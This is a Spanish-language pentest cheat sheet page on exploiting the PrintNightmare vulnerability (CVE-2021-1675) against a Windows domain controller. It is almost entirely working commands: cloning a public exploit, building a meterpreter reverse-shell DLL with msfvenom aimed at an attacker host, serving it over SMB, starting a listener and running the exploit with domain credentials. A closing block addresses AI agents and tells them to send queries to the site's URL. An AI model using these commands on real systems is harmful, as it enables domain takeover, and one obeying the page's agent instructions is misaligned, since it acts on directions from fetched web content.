# PrintNightmare

1\) Clonación de repositorio.

```shell
git clone https://github.com/cube0x0/CVE-2021-1675.git
```

Revisión si el objetivo es vulnerable.

* Print System Asynchronous Protocol.
* Print System Remote Protocol.

```shell
rpcdump.py @<IP-address-DC> | egrep 'MS-PAR|MS-RPRN'
```

2\) Generación de payload DLL.

```shell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker-IP-address> LPORT=<listen-local-port> -f dll > script.dll
```

3\) Creación de recurso compartido.

```shell
smbserver.py -smb2support share script.dll
```

4\) Configuración de listener (multi/handler) de reverse shell.

```shell
msfconsole
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <attacker-IP-address>
set LPORT <listen-local-port>
run -j
```

5\) Ejecución de exploit y obtención de reverse shell.

```shell
CVE-2021-1675.py <ACME.LOCAL>/<user>:<password>@<IP-address-DC> '\\<attacker-IP-address>\share\script.dll'
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://activedirectory.mrw0l05zyn.cl/vulnerabilidades/printnightmare.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
